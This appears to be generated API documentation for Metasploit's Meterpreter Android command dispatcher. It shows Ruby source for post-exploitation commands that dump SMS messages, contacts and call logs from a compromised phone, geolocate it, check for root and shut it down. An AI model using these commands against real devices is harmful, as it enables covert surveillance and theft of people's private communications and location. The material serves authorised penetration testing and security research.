class Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Android

Android extension - set of commands to be executed on android devices. extension by Anwar Mohamed (@anwarelmakrahy)

Public Instance Methods

cmd_check_root(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb, line 345
def cmd_check_root(*args)

  check_root_opts = Rex::Parser::Arguments.new(
    '-h' => [ false, 'Help Banner' ]
  )

  check_root_opts.parse(args) { | opt, idx, val |
    case opt
    when '-h'
      print_line('Usage: check_root [options]')
      print_line('Check if device is rooted.')
      print_line(check_root_opts.usage)
      return
    end
  }

  is_rooted = client.android.check_root

  if is_rooted
    print_good('Device is rooted')
  elsif
    print_status('Device is not rooted')
  end
end
cmd_device_shutdown(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb, line 46
def cmd_device_shutdown(*args)

  seconds = 0
  device_shutdown_opts = Rex::Parser::Arguments.new(
    '-h' => [ false, 'Help Banner' ],
    '-t' => [ false, 'Shutdown after n seconds']
  )

  device_shutdown_opts.parse(args) { | opt, idx, val |
    case opt
    when '-h'
      print_line('Usage: device_shutdown [options]')
      print_line('Shutdown device.')
      print_line(device_shutdown_opts.usage)
      return
    when '-t'
      seconds = val.to_i
    end
  }

  res = client.android.device_shutdown(seconds)

  if res
    print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
  else
    print_error('Device shutdown failed')
  end
end
cmd_dump_calllog(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb, line 279
def cmd_dump_calllog(*args)

  path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
  dump_calllog_opts = Rex::Parser::Arguments.new(

    '-h' => [ false, 'Help Banner' ],
    '-o' => [ false, 'Output path for call log']

  )

  dump_calllog_opts.parse(args) { | opt, idx, val |
    case opt
    when '-h'
      print_line('Usage: dump_calllog [options]')
      print_line('Get call log.')
      print_line(dump_calllog_opts.usage)
      return
    when '-o'
      path = val
    end
  }

  log = client.android.dump_calllog

  if log.count > 0
    print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
    begin
      info = client.sys.config.sysinfo

      data = ""
      data << "\n=================\n"
      data << "[+] Call log dump\n"
      data << "=================\n\n"

      time = Time.new
      data << "Date: #{time.inspect}\n"
      data << "OS: #{info['OS']}\n"
      data << "Remote IP: #{client.sock.peerhost}\n"
      data << "Remote Port: #{client.sock.peerport}\n\n"

      log.each_with_index { |a, index|

        data << "##{index.to_i + 1}\n"

        data << "Number\t: #{a['number']}\n"
        data << "Name\t: #{a['name']}\n"
        data << "Date\t: #{a['date']}\n"
        data << "Type\t: #{a['type']}\n"
        data << "Duration: #{a['duration']}\n\n"
      }

      ::File.write(path, data)
      print_status("Call log saved to #{path}")

      return true
    rescue
      print_error("Error getting call log: #{$!}")
      return false
    end
  else
    print_status('No call log entries were found!')
    return false
  end
end
cmd_dump_contacts(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb, line 166
def cmd_dump_contacts(*args)

  path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
  dump_contacts_opts = Rex::Parser::Arguments.new(

    '-h' => [ false, 'Help Banner' ],
    '-o' => [ false, 'Output path for contacts list']

  )

  dump_contacts_opts.parse(args) { | opt, idx, val |
    case opt
    when '-h'
      print_line('Usage: dump_contacts [options]')
      print_line('Get contacts list.')
      print_line(dump_contacts_opts.usage)
      return
    when '-o'
      path = val
    end
  }

  contactList = []
  contactList = client.android.dump_contacts

  if contactList.count > 0
    print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
    begin
      info = client.sys.config.sysinfo

      data = ""
      data << "\n======================\n"
      data << "[+] Contacts list dump\n"
      data << "======================\n\n"

      time = Time.new
      data << "Date: #{time.inspect}\n"
      data << "OS: #{info['OS']}\n"
      data << "Remote IP: #{client.sock.peerhost}\n"
      data << "Remote Port: #{client.sock.peerport}\n\n"

      contactList.each_with_index { |c, index|

        data << "##{index.to_i + 1}\n"
        data << "Name\t: #{c['name']}\n"

        if c['number'].count > 0
          (c['number']).each { |n|
            data << "Number\t: #{n}\n"
          }
        end

        if c['email'].count > 0
          (c['email']).each { |n|
            data << "Email\t: #{n}\n"
          }
        end

        data << "\n"
      }

      ::File.write(path, data)
      print_status("Contacts list saved to: #{path}")

      return true
    rescue
      print_error("Error getting contacts list: #{$!}")
      return false
    end
  else
    print_status('No contacts were found!')
    return false
  end
end
cmd_dump_sms(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb, line 75
def cmd_dump_sms(*args)

  path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
  dump_sms_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, 'Help Banner' ],
      '-o' => [ false, 'Output path for sms list']
  )

  dump_sms_opts.parse(args) { | opt, idx, val |
    case opt
    when '-h'
      print_line('Usage: dump_sms [options]')
      print_line('Get sms messages.')
      print_line(dump_sms_opts.usage)
      return
    when '-o'
      path = val
    end
  }

  smsList = []
  smsList = client.android.dump_sms

  if smsList.count > 0
    print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
    begin
      info = client.sys.config.sysinfo

      data = ""
      data << "\n=====================\n"
      data << "[+] Sms messages dump\n"
      data << "=====================\n\n"

      time = Time.new
      data << "Date: #{time.inspect}\n"
      data << "OS: #{info['OS']}\n"
      data << "Remote IP: #{client.sock.peerhost}\n"
      data << "Remote Port: #{client.sock.peerport}\n\n"

      smsList.each_with_index { |a, index|

        data << "##{index.to_i + 1}\n"

        type = 'Unknown'
        if a['type'] == '1'
          type = 'Incoming'
        elsif a['type'] == '2'
          type = 'Outgoing'
        end

        status = 'Unknown'
        if a['status'] == '-1'
          status = 'NOT_RECEIVED'
        elsif a['status'] == '1'
          status = 'SME_UNABLE_TO_CONFIRM'
        elsif a['status'] == '0'
          status = 'SUCCESS'
        elsif a['status'] == '64'
          status = 'MASK_PERMANENT_ERROR'
        elsif a['status'] == '32'
          status = 'MASK_TEMPORARY_ERROR'
        elsif a['status'] == '2'
          status = 'SMS_REPLACED_BY_SC'
        end

        data << "Type\t: #{type}\n"

        time = a['date'].to_i / 1000
        time = Time.at(time)

        data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
        data << "Address\t: #{a['address']}\n"
        data << "Status\t: #{status}\n"
        data << "Message\t: #{a['body']}\n\n"
      }

      ::File.write(path, data)
      print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")

      return true
    rescue
      print_error("Error getting messages: #{$!}")
      return false
    end
  else
    print_status('No sms messages were found!')
    return false
  end
end
cmd_geolocate(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb, line 241
def cmd_geolocate(*args)

  generate_map = false
  geolocate_opts = Rex::Parser::Arguments.new(

    '-h' => [ false, 'Help Banner' ],
    '-g' => [ false, 'Generate map using google-maps']

  )

  geolocate_opts.parse(args) { | opt, idx, val |
    case opt
    when '-h'
      print_line('Usage: geolocate [options]')
      print_line('Get current location using geolocation.')
      print_line(geolocate_opts.usage)
      return
    when '-g'
      generate_map = true
    end
  }

  geo = client.android.geolocate

  print_status('Current Location:')
  print_line("\tLatitude:  #{geo[0]['lat']}")
  print_line("\tLongitude: #{geo[0]['long']}\n")
  print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")

  if generate_map
    link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
    print_status("Generated map on google-maps:")
    print_status(link)
    Rex::Compat.open_browser(link)
  end

end
commands() click to toggle source

List of supported commands.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb, line 21
def commands
  all = {
    'dump_sms'          => 'Get sms messages',
    'dump_contacts'     => 'Get contacts list',
    'geolocate'         => 'Get current lat-long using geolocation',
    'dump_calllog'      => 'Get call log',
    'check_root'        => 'Check if device is rooted',
    'device_shutdown'   => 'Shutdown device'
  }

  reqs = {
    'dump_sms'        => [ 'dump_sms' ],
    'dump_contacts'   => [ 'dump_contacts' ],
    'geolocate'       => [ 'geolocate' ],
    'dump_calllog'    => [ 'dump_calllog' ],
    'check_root'      => [ 'check_root' ],
    'device_shutdown' => [ 'device_shutdown']
  }

  # Ensure any requirements of the command are met
  all.delete_if do |cmd, desc|
    reqs[cmd].any? { |req| not client.commands.include?(req) }
  end
end
name() click to toggle source

Name for this dispatcher

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb, line 373
def name
  'Android'
end